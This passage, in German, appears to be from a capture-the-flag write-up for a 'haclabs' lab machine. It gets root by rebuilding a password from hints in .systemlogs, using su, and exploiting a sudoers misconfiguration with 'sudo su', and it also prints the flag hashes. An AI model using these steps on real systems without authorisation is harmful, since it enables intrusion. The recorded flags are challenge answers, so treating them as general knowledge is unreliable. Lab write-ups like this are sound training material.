  • Shell-Zugang als Benutzer `yash`.
  • Lesezugriff auf `/home/yash/.systemlogs`.
  • Existenz des Benutzers `haclabs`.
  • Unsichere `sudoers`-Konfiguration für `haclabs`.
  • Tools `cat`, `su`, `sudo` auf dem Zielsystem.

Schritt-für-Schritt Anleitung:

1. `.systemlogs` analysieren: Hinweise (`haclabs`, `A=123456789`, `+A[-1]`) extrahieren und Passwort rekonstruieren.

yash@haclabs$ cat .systemlogs
[... Hinweise wie oben gezeigt ...]
[Offline Rekonstruktion] └─#
Passwort: haclabs987654321

2. Zu `haclabs` wechseln: `su` mit dem rekonstruierten Passwort verwenden.

yash@haclabs$ su haclabs
Password: haclabs987654321
haclabs@haclabs:/home/yash$

3. `sudo su` ausführen: Die `sudo`-Fehlkonfiguration ausnutzen.

haclabs@haclabs:/home/yash$ sudo su
[Keine Passwortabfrage oder Passwort erfolgreich eingegeben]
root@haclabs:/home/yash#

4. Rechte überprüfen: Mit `id` die erlangten Root-Rechte bestätigen.

root@haclabs:/home/yash# id
uid=0(root) gid=0(root) groups=0(root)

Ergebnis & Bewertung: **Privilege Escalation via .systemlogs/sudo erfolgreich!** Durch das Lösen des Rätsels in `.systemlogs` und die Ausnutzung der `sudo`-Fehlkonfiguration konnte Root-Zugriff erlangt werden.

Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin): **Keine Passworthinweise in Dateien speichern! `/etc/sudoers`-Datei dringend überprüfen und korrigieren!**

Flags

cat /home/yash/flag1.txt (Hash aus Datei als Flag interpretiert)
71C480DF93D6AE2F1EFAD1447C66C9525E316218CF51FC8D9ED832F2DAF18B73
cat /root/deception (Wert aus Berichtende als root.txt interpretiert)
5C42D6BB0EE9CE4CB7E7349652C45C4A